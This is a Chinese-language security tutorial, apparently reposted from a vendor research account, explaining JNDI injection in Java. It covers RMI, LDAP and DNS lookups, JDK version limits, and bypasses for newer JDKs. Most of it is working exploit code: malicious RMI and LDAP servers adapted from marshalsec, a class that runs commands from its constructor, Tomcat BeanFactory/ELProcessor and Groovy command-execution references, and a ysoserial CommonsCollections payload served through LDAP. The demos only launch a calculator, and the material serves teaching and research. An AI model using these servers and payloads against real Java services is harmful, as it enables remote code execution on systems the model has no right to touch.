一文读懂JNDI注入原理和利用方式

admin 2023年8月31日01:10:24评论23 views字数 13588阅读45分17秒阅读模式


JNDI

简介


JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

一文读懂JNDI注入原理和利用方式

一文读懂JNDI注入原理和利用方式

上面提到了命名服务与目录服务,它们又是什么呢?

命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务。


目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,这么说可能不太好理解,我们举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务。



JNDI

注入复现



代码中定义了URL变量,URL 变量攻击者可控,并定义了一个 LDAP 协议服务, 使用 lookup() 函数进行远程获取并执行恶意的 Exploit 类。

import javax.naming.InitialContext;import javax.naming.NamingException;
public class jndi {    public static void main(String[] args) throws NamingException {        String url = "rmi://127.0.0.1:1099/Exploit";          InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用        initialContext.lookup(url); // 获取指定的远程对象    }}

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议

JDK6

JDK7

JDK8

JDK11

LADP

6u211以下

7u201以下

8u191以下

11.0.1以下

RMI

6u132以下

7u122以下

8u113以下


2.1

 

JNDI+RMI

通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。


javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)

className - 远程加载时所使用的类名

classFactory - 加载的class中需要实例化类的名称

classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议


因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。


服务端代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class RMIServer {
   public static void main(String[] args) throws Exception{        Registry registry= LocateRegistry.createRegistry(7777);        Reference reference = new Reference("test", "test", "http://localhost/");        ReferenceWrapper wrapper = new ReferenceWrapper(reference);        registry.bind("calc", wrapper);
   }}

恶意代码(test.class),将其编译好放到可访问的web服务器。

import java.lang.Runtime;
public class test{ public test() throws Exception{        Runtime.getRuntime().exec("calc"); }}

当客户端通过InitialContext().lookup("rmi:// 127.0.0.1:7777/calc") 获取远程对象时,会执行我们的恶意代码。

package demo;
import javax.naming.InitialContext;
public class JNDI_Test {    public static void main(String[] args) throws Exception{        new InitialContext().lookup("rmi://127.0.0.1:7777/calc");    }}
一文读懂JNDI注入原理和利用方式

一文读懂JNDI注入原理和利用方式

对于这种利用方式Java在其JDK 6u132、7u122、8u113中进行了限制,

com.sun.jndi.rmi.object.trustURLCodebase默认值变为false
static {    PrivilegedAction var0 = () -> {        return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");    };    String var1 = (String)AccessController.doPrivileged(var0);    trustURLCodebase = "true".equalsIgnoreCase(var1);}

如果从远程加载则会抛出异常

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {    throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");}


2.2

 

JNDI+LDAP

JNDI也可以通过LDAP协议加载远程的Reference工厂类。

起一个LDAP服务,代码改自marshalsec

package demo;
import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;
import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
   private static final String LDAP_BASE = "dc=example,dc=com";
   public static void main ( String[] tmp_args ) {        String[] args=new String[]{"http://192.168.43.88/#test"};        int port = 7777;
       try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen", //$NON-NLS-1$                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
           config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$            ds.startListening();
       }        catch ( Exception e ) {            e.printStackTrace();        }    }
   private static class OperationInterceptor extends InMemoryOperationInterceptor {
       private URL codebase;
       public OperationInterceptor ( URL cb ) {            this.codebase = cb;        }
       @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }
       protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "foo");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$            e.addAttribute("javaFactory", this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

服务端需要添加如下依赖:

<dependency>    <groupId>com.unboundid</groupId>    <artifactId>unboundid-ldapsdk</artifactId>    <version>3.1.1</version></dependency>

客户端

package demo;
import javax.naming.InitialContext;
public class JNDI_Test {    public static void main(String[] args) throws Exception{        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");    }}


2.3

 

DNS协议

DNS主要是为了快速测试是否存在漏洞点。

import javax.naming.InitialContext;import javax.naming.NamingException;public class Client {    public static void main(String[] args) throws NamingException{        String url = "dns://test.bmg6g1.dnslog.cn";        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}
一文读懂JNDI注入原理和利用方式

一文读懂JNDI注入原理和利用方式


JDK高版本

限制绕过



3.1

 

RMI高版本绕过

在JDK 6u132, JDK 7u122, JDK 8u121版本开始com.sun.jndi.rmi.object.trustURLCodebase、

com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。所以原本的远程加载恶意类的方式已经失效,不过并没有限制从本地进行加载类文件,比如org.apache.naming.factory.BeanFactory。

3.1.1 利用tomcat8的类

利用类为org.apache.naming.factory. BeanFactory,针对 RMI 利用的检查方式中最关键的就是 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase)。

如果 FactoryClassLocation 为空,那么就会进入 NamingManager.getObjectInstance,在此方法会调用 Reference 中的ObjectFactory。

因此绕过思路为在目标 classpath 中寻找实现 ObjectFactory 接口的类。在 Tomcat 中有一处可以利用的符合条件的类org.apache.naming.factory. BeanFactory,在此类中会获取 Reference 中的forceString 得到其中的值之后会判断是否包含等号,如果包含则用等号分割,将前一半当做方法名,后一半当做 Hashmap 中的 key。如果不包含等号则方法名变成 set开头。值得注意的是此方法中已经指定了参数类型为 String。后面将会利用反射执行前面所提到的方法。因此需要找到使用了 String 作为参数,并且能 RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合适。

pom.xml添加相关依赖

<dependency>        <groupId>org.apache.tomcat</groupId>        <artifactId>tomcat-catalina</artifactId>        <version>8.5.0</version>    </dependency>    <dependency>        <groupId>org.apache.tomcat.embed</groupId>        <artifactId>tomcat-embed-el</artifactId>        <version>8.5.15</version>    </dependency>

启动服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import org.apache.naming.ResourceRef;
public class Hdjkserver{    public static void main(String[] args) throws Exception {        Registry registry = LocateRegistry.createRegistry(1099);        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);        resourceRef.add(new StringRefAddr("forceString", "a=eval"));        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec("open -a calculator")"));        ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);        registry.bind("exp", refObjWrapper);        System.out.println("Creating evil RMI registry on port 1099");    }}

client端代码:

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;
public class Client {    public static void main(String[] args) throws NamingException {            String uri = "rmi://127.0.0.1:1099/exp";            Context ctx = new InitialContext();            ctx.lookup(uri);    }}

3.1.2 依赖groovy任意版本的类

以版本1.5为例,添加pom.xml相关依赖。

   <dependency>            <groupId>org.codehaus.groovy</groupId>            <artifactId>groovy-all</artifactId>            <version>1.5.0</version>        </dependency>

服务端代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;
import javax.naming.NamingException;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class ExecByGroovy {    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);        ref.add(new StringRefAddr("forceString", "x=evaluate"));        String script = String.format("'%s'.execute()", "open -a calculator"); //commandGenerator.getBase64CommandTpl());        ref.add(new StringRefAddr("x",script));        ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);        registry.bind("exp", refObjWrapper);        System.out.println("Creating evil RMI registry on port 1099");    }}


3.2

 

LDAP高版本绕过

3.2.1 Base64字节码加载

JDK 6u211,7u201,8u191, 11.0.1开始 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,导致LDAP远程代码攻击方式开始失效。

这里可以利用javaSerializedData属性,当javaSerializedData属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。

如果目标存在CC链利用链,先使用ysoserial.jar生成CC链的poc

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a calculator.app" > poc.txtcat poc.txt|base64 >base64.txt

转换为base64编码后放到如下服务端代码里,代码的String[]字符串里面ip不影响payload执行。

import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.InetAddress;import java.net.URL;import java.util.HashMap;import java.util.Map;
public class LDAPServer {    private static final String LDAP_BASE = "dc=example,dc=com";
   public static void main ( String[] tmp_args ) throws Exception{        String[] args=new String[]{"http://localhost/#Evail"};        int port = 6666;
       InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);        config.setListenerConfigs(new InMemoryListenerConfig(                "listen", //$NON-NLS-1$                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                port,                ServerSocketFactory.getDefault(),                SocketFactory.getDefault(),                (SSLSocketFactory) SSLSocketFactory.getDefault()));
       config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$        ds.startListening();    }
   private static class OperationInterceptor extends InMemoryOperationInterceptor {
       private URL codebase;
       public OperationInterceptor ( URL cb ) {            this.codebase = cb;        }
       @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }
       protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "foo");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }
           e.addAttribute("javaSerializedData", Base64.decode("base64编码的payload"));
           result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

客户端代码

import javax.naming.InitialContext;import javax.naming.Context;import javax.naming.NamingException;public class JNDI_Test {    public static void main(String[] args) throws NamingException {        String uri = "ldap://127.0.0.1:6666/exp";        Context ctx = new InitialContext();        ctx.lookup(uri);    }}


参考链接:
1. https://xz.aliyun.com/t/12277
2. https://xz.aliyun.com/t/10035


原文始发于微信公众号(山石网科安全技术研究院):一文读懂JNDI注入原理和利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月31日01:10:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文读懂JNDI注入原理和利用方式http://cn-sec.com/archives/1995047.html

发表评论

匿名网友 填写信息